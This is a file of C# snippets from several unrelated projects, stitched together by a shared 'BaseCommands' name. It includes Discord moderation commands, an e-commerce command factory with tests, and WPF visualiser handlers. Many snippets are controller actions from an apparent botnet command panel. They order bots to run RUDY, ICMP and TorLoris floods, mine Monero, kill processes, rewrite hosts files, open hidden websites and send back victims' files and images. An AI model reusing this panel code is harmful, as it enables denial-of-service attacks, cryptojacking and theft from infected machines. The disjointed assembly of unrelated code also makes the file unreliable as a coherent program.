public async Task <IActionResult> KillProcess(int procId) { var method = new BaseCommands { Method = "KillProcess" }; var Variables = new KillProcessVariables { Id = procId }; var Command = new KillProcessCommands { newVariables = Variables, newBaseCommand = method, }; var bots = new GetBotsByStatusQuery { status = false//execute online bots }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
public void CreateCampaignFactoryCreator_IsNullTest(string commandType) { FactoryCreator CommandCreator = new FactoryCreator(); BaseCommands commandModel = CommandCreator.CommandFactory(commandType); Assert.IsNull(commandModel); }
public async Task Softban([Summary("User")] SocketGuildUser arg, [Summary("Reason"), Remainder()] string reason = null) { if (BaseCommands.IsVip(Context.User as SocketUser) && !BaseCommands.IsVip(arg)) { if (jSon._permWR(Context, BaseCommands.Commands.Softban).Result) { var sw = Stopwatch.StartNew(); BaseCommands.noSend.Add(arg.Id); await BaseCommands.SendReasonEmbedToUserDM(arg, Context.Guild, reason, BaseCommands.Commands.Softban); await Context.Guild.AddBanAsync(arg, 5, reason : reason); EmbedBuilder builder = new EmbedBuilder() { Title = $"**{arg.Username} has been softbanned!**", Description = $"{(string.IsNullOrEmpty(reason) ? string.Empty : $"**Reason: {reason}**")}", Color = new Color((byte)(_ran.Next(255)), (byte)(_ran.Next(255)), (byte)(_ran.Next(255))) }.WithCurrentTimestamp(); sw.Stop(); await ReplyAsync(string.Empty, false, embed : builder.WithFooter(y => y.WithText($"{sw.ElapsedMilliseconds}ms | {Context.User}")).Build()); await Context.Guild.RemoveBanAsync(arg); } } }
public void CreateCampaignFactoryCreator_AreSameTest(string commandType) { FactoryCreator CommandCreator = new FactoryCreator(); BaseCommands commandModel = CommandCreator.CommandFactory(commandType); Assert.AreSame(typeof(CreateCampaign), commandModel.GetType()); }
public async Task <IActionResult> ExecuteRudy([FromForm] RudyModel model) { var method = new BaseCommands { Method = "Rudy" }; var Variables = new RudyVariables { Port = model.Port, PostDATA = model.PostDATA, }; var FloodModel = new Server.Commands.BaseFloodModel { Host = model.Host, Time = model.Time, ThreadstoUse = model.ThreadstoUse, }; var Command = new RudyCommand { newRudyVariables = Variables, newBaseCommand = method, newBaseFloodModel = FloodModel }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(OverWriterResponse(response, botlist))); }
public async Task <IActionResult> ExecuteIcmp(IcmpModel model) { var method = new BaseCommands { Method = "Icmp" }; var Variables = new IcmpVariables { Timeout = model.Timeout, Length = model.Length }; var FloodModel = new Server.Commands.BaseFloodModel { Host = model.Host, Time = model.Time, ThreadstoUse = model.ThreadstoUse, }; var Command = new IcmpCommand { newIcmpVariables = Variables, newBaseCommand = method, newBaseFloodModel = FloodModel }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
public async Task <IActionResult> ConfigMonero(MiningModel model) { var method = new BaseCommands { Method = "Mining" }; var Variables = new MinerVariables { Link = model.Link, Config = model.Config }; var Command = new MiningCommand { newMinerVariables = Variables, newBaseCommand = method, }; var bots = new GetBotsByStatusQuery { status = false//execute online bots }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
public BaseCommands CommandFactory(string commandType) { BaseCommands command = null; switch (commandType) { case "create_product": command = new CreateProduct(); break; case "create_campaign": command = new CreateCampaign(); break; case "create_order": command = new CreateOrder(); break; case "get_product_info": command = new GetProductInfo(); break; case "get_campaign_info": command = new GetCampaignInfo(); break; default: break; } return(command); }
public async Task <IActionResult> ExecuteTorLoris(TorLorisModel model) { var method = new BaseCommands { Method = "TorLoris" }; var Variables = new TorLorisVariables { Port = model.Port, PostDATA = model.PostDATA, RandomFile = model.RandomFile }; var FloodModel = new Server.Commands.BaseFloodModel { Host = model.Host, Time = model.Time, ThreadstoUse = model.ThreadstoUse, }; var Command = new TorLorisCommand { newTorLorisVariables = Variables, newBaseCommand = method, newBaseFloodModel = FloodModel }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
void Button_Click(object sender, RoutedEventArgs e) { if (buttonStateIsNew) // new { IVertex baseVertex = Vertex.Get(@"BaseEdge:\From:"); IVertex meta = Vertex.Get(@"BaseEdge:\Meta:"); IVertex newVertex = VertexOperations.AddInstanceByEdgeVertex(baseVertex, meta); GraphUtil.CreateOrReplaceEdge(Vertex.Get(@"BaseEdge:"), MinusZero.Instance.Root.Get(@"System\Meta\ZeroTypes\Edge\To"), newVertex); if (newVertex != null) { ButtonSetOpen(); } } else // open { FormVisualiser v = (FormVisualiser)UIWpf.getParentFormVisualiser(this); if (v != null) { Edge.CopyAndReplaceEdge(v.Vertex, "BaseEdge", Vertex.Get("BaseEdge:")); } else { //BaseCommands.Open(Vertex.Get("BaseEdge:"), null); // want Form visualiser BaseCommands.OpenFormVisualiser(Vertex.Get("BaseEdge:")); } } }
public async Task _iPrune([Summary("Number of msgs")] int arg1 = 10, [Summary("User")] SocketGuildUser arg2 = null) { if (BaseCommands.IsVip(Context.User as SocketUser)) { if (jSon._permWR(Context, BaseCommands.Commands.Iprune).Result) { if (arg1 > 100) { arg1 = 100; } var sw = Stopwatch.StartNew(); IEnumerable <IMessage> msgs = null; if (arg2 == null) { msgs = (await Context.Channel.GetMessagesAsync(Context.Message, Direction.Before, 75).FlattenAsync()).Where(x => x.Attachments.Count != 0).Take(arg1); } else { msgs = (await Context.Channel.GetMessagesAsync(Context.Message, Direction.Before, 100).FlattenAsync()).Where(x => x.Author.Id == arg2.Id && x.Attachments.Count != 0).Take(arg1); } await(Context.Channel as ITextChannel).DeleteMessagesAsync(msgs); sw.Stop(); await Context.Message.DeleteAsync(); EmbedBuilder builder = new EmbedBuilder() { Title = $"**{msgs.Count()} messages deleted!**", Color = new Color((byte)(_ran.Next(255)), (byte)(_ran.Next(255)), (byte)(_ran.Next(255))) }.WithCurrentTimestamp(); await ReplyAsync(string.Empty, false, embed : builder.WithFooter(y => y.WithText($"{sw.ElapsedMilliseconds}ms | {Context.User}")).Build()); } } }
static async Task <int> Main(string [] args) { Version(); var cts = new CancellationTokenSource(); Console.CancelKeyPress += (sender, e) => cts.Cancel(); BaseCommands commands = null; using (var parser = new Parser(v => { v.AutoHelp = false; })) { parser.ParseArguments <DefaultCommand> (args) .WithParsed(v => { commands = v; }); } if (commands == null) { Parser.Default.ParseArguments <InstallCommand> (args) .WithParsed(v => { commands = v; }); } var r = await commands.Execute(); return(r); }
public async Task _fMute([Summary("User")] SocketGuildUser arg, [Summary("Reason"), Remainder()] string reason = null) { if (BaseCommands.IsVip(Context.User as SocketUser) && !BaseCommands.IsVip(arg)) { if (jSon._permWR(Context, BaseCommands.Commands.Mute).Result) { await Context.Message.DeleteAsync(); var sw = Stopwatch.StartNew(); await arg.RemoveRolesAsync(arg.Roles.Where(x => x.Id != Context.Guild.EveryoneRole.Id && x.Position < x.Guild.CurrentUser.Hierarchy)); await arg.AddRolesAsync(arg.Guild.Roles.Where(y => y.Name.ToLower().Equals("muted"))); EmbedBuilder builder = new EmbedBuilder() { Title = $"**{arg.Username} has been muted!**", Description = $"{(string.IsNullOrEmpty(reason) ? string.Empty : $"**Reason: {reason}**")}", Color = new Color((byte)(_ran.Next(255)), (byte)(_ran.Next(255)), (byte)(_ran.Next(255))) }.WithCurrentTimestamp(); sw.Stop(); await ReplyAsync(string.Empty, false, embed : builder.WithFooter(y => y.WithText($"{sw.ElapsedMilliseconds}ms | {Context.User}")).Build()); await BaseCommands.SendReasonEmbedToUserDM(arg, Context.Guild, reason, BaseCommands.Commands.Mute); } } }
public async Task <IActionResult> KillProcess(KillProcessModel model) { var method = new BaseCommands { Method = "KillProcess" }; var Variables = new KillProcessVariables { Id = model.ProcessId }; var Command = new KillProcessCommands { newVariables = Variables, newBaseCommand = method, }; var query = new GetBotByIdQuery { Id = model.UserId }; var bot = await _mediator.Send(query); var response = CommandExecute.TcpConnects(bot, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
public async Task <IActionResult> SeedTorrent(SeedTorrentModel model) { var method = new BaseCommands { Method = "SeedTorrent" }; var Variables = new SeedTorrentVariables { path = model.Url }; var Command = new SeedTorrentCommand { newVariables = Variables, newBaseCommand = method, }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(OverWriterResponse(response, botlist))); }
public async Task <IActionResult> EditHostFile(EditHostFileModel model) { var method = new BaseCommands { Method = "EditHostFile" }; var Variables = new EditHostFileVariables { Line = model.Line }; var Command = new EditHostFileCommand { newVariables = Variables, newBaseCommand = method, }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(OverWriterResponse(response, botlist))); }
void OnNewEdgeBySchema(object sender, System.Windows.RoutedEventArgs e) { if (sender is MenuItem) { BaseCommands.NewEdgeBySchema(this.Edge, (IVertex)((MenuItem)sender).Tag); } }
public async Task <IActionResult> SendMessageCommand(MessageModel model) { var method = new BaseCommands { Method = "Message" }; var messageVariables = new MessageVariables { Msg = model.Msg, Closed = model.Closed }; var messageCommand = new MessageCommand { newMessageVariables = messageVariables, newBaseCommand = method, }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(messageCommand).Replace(@"\", "")); return(Json(response)); }
public async Task Mute([Summary("User")] SocketGuildUser arg, [Summary("Time")] int minutes = 0, [Summary("Reason"), Remainder()] string reason = null) { if (BaseCommands.IsVip(Context.User as SocketUser) && !BaseCommands.IsVip(arg)) { if (jSon._permWR(Context, BaseCommands.Commands.Mute).Result) { await Context.Message.DeleteAsync(); var sw = Stopwatch.StartNew(); await arg.AddRolesAsync(arg.Guild.Roles.Where(y => y.Name.ToLower().Equals("muted"))); EmbedBuilder builder = new EmbedBuilder() { Title = $"**{arg.Username} has been muted!**", Description = $"{(string.IsNullOrEmpty(reason) ? string.Empty : $"**Reason: {reason}**")}{(minutes.Equals(0) ? string.Empty : $"\n**Minutes: {minutes}**")}", Color = new Color((byte)(_ran.Next(255)), (byte)(_ran.Next(255)), (byte)(_ran.Next(255))), }.WithCurrentTimestamp(); sw.Stop(); await ReplyAsync(string.Empty, false, embed : builder.WithFooter(y => y.WithText($"{sw.ElapsedMilliseconds}ms | {Context.User}")).Build()); await BaseCommands.SendReasonEmbedToUserDM(arg, Context.Guild, reason, BaseCommands.Commands.Mute, minutes); if (minutes <= 360 && minutes > 0) { await TimerClass._tMute(Context.Guild, arg.Id, TimeSpan.FromMinutes(minutes), new CancellationTokenSource().Token); } else { await TimerClass._tMute(Context.Guild, arg.Id, TimeSpan.FromMinutes(360), new CancellationTokenSource().Token); } } } }
public async Task <IActionResult> WebOpenCommandAsync(WebsiteModel model) { if (!ModelState.IsValid) { return(View(model)); } if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "User") { return(RedirectToAction(nameof(HomeController.Index), "Home")); } var websitevariables = new WebsiteVariables { Url = model.Url, Closed = model.Closed, Hidde = model.Hidde }; var method = new BaseCommands { Method = "Execute" }; var command = new WebsiteOpenModel { newBaseCommand = method, newWebsiteModel = websitevariables }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(command).Replace(@"\", "")); return(Json(response)); }
public override async Task Execute(SocketCommandContext context) { SingletonCommands singletonCommands = SingletonCommands.Instance; List <BaseCommands> Commands = singletonCommands.Commands; if (Commands == null) { return; } Commands = Commands.OrderBy(x => x.Type).ToList(); //place bot commands last List <BaseCommands> botCommands = Commands.Where(x => x.Type == CommandType.Bot_Commands).ToList(); if (botCommands != null) { foreach (var item in botCommands) { Commands.Remove(item); Commands.Add(item); } } BaseCommands firstCommand = Commands.FirstOrDefault(); EmbedBuilder builder = new EmbedBuilder(); CommandType oldCommandType = firstCommand.Type; string currentCommandsName = ""; EmbedFieldBuilder fieldBuilder = new EmbedFieldBuilder(); fieldBuilder.Name = firstCommand.Type.ToString(); foreach (BaseCommands command in Commands) { if (command.Type != oldCommandType) { fieldBuilder.Value = currentCommandsName; currentCommandsName = ""; builder.AddField(fieldBuilder); fieldBuilder = new EmbedFieldBuilder(); fieldBuilder.Name = command.Type.ToString(); } currentCommandsName += SingletonCommands.CommandPrefix + command.CommandName + ","; oldCommandType = command.Type; } fieldBuilder.Value = currentCommandsName; builder.AddField(fieldBuilder); builder.WithTitle(CommandName); builder.WithCurrentTimestamp(); builder.WithColor(Color.Green); await context.Channel.SendMessageAsync(embed : builder.Build()); }
public Command(string trigger, string todo, int level, BaseCommands BC) { commandTrigger = trigger; commandDo = todo; if (level < 0) level = 0; if (level > 2) level = 2; permissionLevel = level; _BaseCommand = BC; }
void OnDelete(object sender, System.Windows.RoutedEventArgs e) { BaseCommands.Delete(this.Edge, PlatformClass.Vertex); if (PlatformClass is IHasSelectableEdges) { ((IHasSelectableEdges)PlatformClass).UnselectAllSelectedEdges(); } }
void OnOpenVisualiserSelectedSelected(object sender, System.Windows.RoutedEventArgs e) { IVertex input = MinusZero.Instance.CreateTempVertex(); IVertex root = MinusZero.Instance.Root; input.AddEdge(root.Get(@"System\Meta\Commands*VisualiserClass"), ((IVertex)((MenuItem)sender).Tag)); input.AddEdge(root.Get(@"System\Meta\Commands*SynchronisedVisualiser"), PlatformClass.Vertex); BaseCommands.OpenVisualiserSelectedSelected(this.Edge, input); }
public async Task <IActionResult> GetAllImg() { var method = new BaseCommands { Method = "GetAllImgJson" }; var bots = new GetBotsByStatusQuery { status = false }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(method).Replace(@"\", "")); return(Json(response)); }
public async Task <string> GetAllDeatils(int botid) { var method = new BaseCommands { Method = "GetAllDetails" }; var bot = new GetBotByIdQuery { Id = botid }; var botlist = await _mediator.Send(bot); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(method)); return(response); }
protected override void OnClick() { FormVisualiser v = (FormVisualiser)UIWpf.getParentFormVisualiser(this); if (v != null) { Edge.ReplaceEdgeEdges(v.Vertex.Get("BaseEdge:"), BaseEdge); } else { IVertex v2 = MinusZero.Instance.CreateTempVertex(); Edge.AddEdgeEdges(v2, BaseEdge); //BaseCommands.Open(v2,null); // want Form Visuliser always BaseCommands.OpenFormVisualiser(v2); } }
public async Task Pat([Summary("Patted person."), Remainder()] IUser arg) { if (jSon._permWR(Context, BaseCommands.Commands.Pat).Result) { var sw = Stopwatch.StartNew(); EmbedBuilder builder = new EmbedBuilder() { Title = (arg != null ? ((!BaseCommands.SpecialPeople(arg.Id)) ? ((!arg.Equals(Context.User)) ? $"{Context.User.Username} pats {arg.Username}! Awww, cute!" : $"{Context.User.Username} pats their lonely head!") : "no.") : $"{Context.Client.CurrentUser.Username} pats {Context.User.Username}! Awww, cute!"), ImageUrl = (arg != null ? ((!BaseCommands.SpecialPeople(arg.Id)) ? ((!arg.Equals(Context.User)) ? patGifs[_ran.Next(patGifs.Length)] : "https://i.imgur.com/aykz290.gif") : "http://i.imgur.com/F0nMzoJ.gif") : patGifs[_ran.Next(patGifs.Length)]), Color = new Color((byte)(_ran.Next(255)), (byte)(_ran.Next(255)), (byte)(_ran.Next(255))) }.WithCurrentTimestamp(); sw.Stop(); await ReplyAsync(string.Empty, embed : builder.WithFooter(y => y.WithText($"{sw.ElapsedMilliseconds}ms")).Build()); } }
public string ExecuteCommand(string command, TimeHandler timeHandler, List <Product> productList, List <Campaign> campaignList, List <Order> orderList) { string commandResult = string.Empty; char[] seperators = { ' ' }; List <string> cmdArr = command.Split(seperators).ToList().Where(x => !string.IsNullOrEmpty(x)).ToList(); string commandName = cmdArr[0]; // first parameter is always command name.. like create_product if (commandName == "increase_time") { timeHandler.IncreaseTime(Convert.ToInt32(cmdArr[1])); commandResult = string.Format("Time is {0}:00", timeHandler.Time.ToString().PadLeft(2, '0')); } else { cmdArr.RemoveAt(0); // the remaining array elements are parameters of the command FactoryCreator CommandCreator = new FactoryCreator(); BaseCommands commandModel = CommandCreator.CommandFactory(commandName); if (commandModel != null) { string checkResult = commandModel.CheckParameters(cmdArr, productList, campaignList, orderList); if (string.IsNullOrEmpty(checkResult)) { commandResult = commandModel.GetCommandResult(cmdArr, productList, campaignList, orderList, timeHandler); } else { commandResult = checkResult; } } else { commandResult = "The command is not defined in the system"; } } return(commandResult); }
public async Task <IActionResult> DownloadFileAsync(BotDownloadFileModel model) { var query = new GetBotByIdQuery { Id = model.UserId }; var bot = await _mediator.Send(query); GetFileVariables variables = new GetFileVariables { filePath = model.File }; BaseCommands method = new BaseCommands { Method = "GetFile" }; GetSourceFileCommand command = new GetSourceFileCommand { newBaseCommand = method, newVariables = variables }; try { var fullpath = ""; if (!_env.WebRootFileProvider.GetDirectoryContents("files/Bots/" + bot.UserName + "_" + model.UserId).Exists) { var path = _env.WebRootFileProvider.GetFileInfo("files/Bots")?.PhysicalPath; Directory.CreateDirectory(path + "/" + bot.UserName + "_" + model.UserId); } else { fullpath = _env.WebRootFileProvider.GetFileInfo("files/Bots")?.PhysicalPath + "/" + bot.UserName + "_" + model.UserId; } _client.DownLoadFileByWebRequest(bot.Domain, fullpath + "/" + model.File, JsonConvert.SerializeObject(command)); var file = System.IO.File.OpenRead(fullpath + "/" + model.File); return(File(file, "application/octet-stream")); } catch { }; return(Content("404 file not found")); }
public async Task _unMute([Summary("User")] SocketGuildUser arg) { if (BaseCommands.IsVip(Context.User as SocketUser) && !BaseCommands.IsVip(arg)) { if (jSon._permWR(Context, BaseCommands.Commands.Mute).Result) { await Context.Message.DeleteAsync(); var sw = Stopwatch.StartNew(); await arg.RemoveRolesAsync(arg.Guild.Roles.Where(y => y.Name.ToLower().Equals("muted"))); EmbedBuilder builder = new EmbedBuilder() { Title = $"**{arg.Username} has been unmuted!**", Color = new Color((byte)(_ran.Next(255)), (byte)(_ran.Next(255)), (byte)(_ran.Next(255))), }.WithCurrentTimestamp(); sw.Stop(); await ReplyAsync(string.Empty, false, embed : builder.WithFooter(y => y.WithText($"{sw.ElapsedMilliseconds}ms | {Context.User}")).Build()); } } }